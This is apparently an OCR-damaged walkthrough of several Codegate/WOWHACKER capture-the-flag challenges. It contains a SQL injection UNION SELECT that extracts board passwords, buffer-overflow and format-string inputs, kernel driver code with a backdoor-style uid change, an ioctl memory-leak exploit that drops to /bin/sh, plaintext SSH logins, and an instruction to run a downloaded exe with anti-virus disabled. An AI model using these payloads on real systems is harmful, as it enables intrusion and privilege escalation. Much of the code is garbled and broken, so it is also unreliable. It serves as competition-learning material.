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Question url is “http://222.239.80.207/login.php”.
All challengers connect this page and try to find the password.

Id is “wowhacker”
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http://222.239.80.209/~chmod777/bbs/zboard.php?id=freeboard
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http://222.239.80.209/~chmod777/bbs/zboard.php?id=freeboard&s_que=1 union select
11,1,1,1,1,1,1,1,1,1,1,1,1, password,1,1,memo 1111111111111111,1,1 from
zetyx_board_freeboard where no=3 --

-66 It's tough. Move following page and download a file. DO NOT USE ANY ANTI-VIRUS
SOLUTIONS AND FIREWALLS. Your anti-vireus solutions could delete the file automatically.
http://222.239.80.209/~hanssomi/ wowhacker/good!! [1]
*EC31F2E9C35174091F327175D23F3DC60BABFA2F 1970/01/01 1 1
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AF AF AF FA FAFAFV AF AF GF AA FA taaaaaaaaaaa
AF AF AF FA VA FA FF AF AF AF AG FA ataaaaaaaaaa
GF AV AF FA FA FA FF AF AF AF AA FA aataaaaaaaaa
AF AF AF VA FA FG FF AF AF AF AA FA aaataaaaaaaa
AF AF AF FA FA FA FF AF GF AV AA FA aaaataaaaaaa
AF AF AF FA FA FA FF GF AF AF AA VA aaaaataaaaaa
AV AF AF FA FG FA FF AF AF AF AA FA aaaaaataaaaa
AF AF GF FA FA FA VF AF AF AF AA FA aaaaaaataaaa
AF AF AF FG FA FA FF AF AV AF AA FA aaaaaaaataaa
AF AF AF FA FA FA FF AV AF AF GA FA aaaaaaaaataa
AF AF AF FA FA VA FF AF AF AF AA FG aaaaaaaaaata
AF GF AV FA FA FA FF AF AF AF AA FA aaaaaaaaaaat
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Success
Auth Key : PaSSionAnDPrepAraTion
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http://222.239.80.204/notepad.exe




fckorea-wowhacker-codegate
Please write answer in hex character. (ex:  ...)

http://222.239.80.204/gtrpower/

Find a coded message correspond to following plain text using this program.
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./prog “perl -e ‘print "A"x25,"\x4b" | xxd
./prog “perl -e 'print "A"x24,"\x56\x4b"" | xxd
./prog “perl -e 'print "A"x23,"\x1a\x56\x4b" | xxd
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http://222.239.80.205/g37r007x9dk1hr/music.exe
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222.239.80.217 : 22(ssh)
Identify - sixsense
Password - silent_night

222.239.80.218 : 22(ssh)
Identify - sixsense
Password - silent_night

Source Code = http://222.239.80.209/~hkpco/hker.c
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switch( MINOR(inode->i_rdev) )

{

case 0: filp->f_op = &hk0_fops; break;

case 1: filp->f_op = &hk1_fops; break;

case 2: filp->f_op = &hk2_fops; break;
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char hk_password[] = "HK_KEY: linux kernel memory neak ......";

int ioctl_global_hk( struct inode *inode, struct file *filp, unsigned int cmd, unsigned long arg )

{

switch(cmd)

{

case AUTH_HK:

[<ioctl2l CIXIE Soll S0 MARAS M9 H=b2 WARASR Hlw */

if( 'hk_compare( plz.key , hkp +8))

current->uid = current->euid = HK_ID;

current->gid = current->egid = HK_ID;

}
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ssize_t read_c( struct file *filp, char *buf, size_t count, loff_t *f pos) {

char buffer[] = "hi nice to meet you, i'm fine thank you and you?";
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copy_to_user( (void *)buf , (const void *)p , (unsigned long)count )
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Server : 222.239.80.201
Port : 22222
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/* Code

sock = sock_connect("222.239.80.201", 22222);
sprintf(packet, "%%%d$x\n", = XtSI);
write_sock(sock, packet, strlen(packet));
Sorry. Your value was bf895282

Sorry. Your value was a7b420

Sorry. Your value was 80483d0

Sorry. Your value was 0

Sorry. Your value was 6f4e97b8 oN

Sorry. Your value was 63614831 caH1
Sorry. Your value was 2172656b !'rek
Sorry. Your value was 38250021 8% !
Ot A SRE :: NolHacker!!

#include <stdio.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <sys/ioctl.h>

#include <fcntl.h>

#include <unistd.h>

#include "dump.h"

#define HK_FILE "/dev/hkdev"

#define HK_MAGIC 'k'

#define AUTH_HK _IOR(HK_MAGIC, 0, hkst)
#define TEST_CMD _IO( HK_MAGIC, 1)
#define LAST_NR 1

typedef struct

{

char key[128];

} _ attribute__ ((packed)) hkst;
int mem_cmp(char *dst, int len)

{




inti;

for(i=0; i < len; i++) {

if( memcmp(dst+i, "KEY",3) ==0) {

printf("OK[%s]\n", dst+i);

dumpcode(dst+i, 100);

printf("Press Key.......");

fflush(stdout);

getchar();

}

if( memcmp(dst+i, "HK",2)==0){

printf("OK[%s]\n", dst+i);

dumpcode(dst+i, 100);

printf("Press Key.......");

fflush(stdout);

getchar();

}

}

}

int main()

{

int dev;

char buff[4000];

int ret;

int uid;

hkst plz;

uid = getuid();
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strepy(plz.key,"linux kernel memory leak vulnerability is very frequent and famous.");
dev = open(HK_FILE, O RDWR|O_NDELAY);

if(dev>=0){

printf(“device open.. ok\n");
printf("%d %d\n", getuid(), geteuid());
ret = ioctl(dev, AUTH_HK, &plz);
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while(1) {// HIZ2c| S HE AIE HS..
ret = read(dev, buff, 3990);
mem_cmp(buff,ret);

printf("RET : %d\n", ret);
dumpcode(buff, ret);
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}

printf("%d %d\n", getuid(), geteuid());
if( geteuid() = uid ) {

printf("bing go!![%s]\n", data);
setreuid(getuid(),geteuid());
setregid(getuid(),getguid());
system("/bin/sh™);

exit(0);

}
memset(data, 0x00, 1024);
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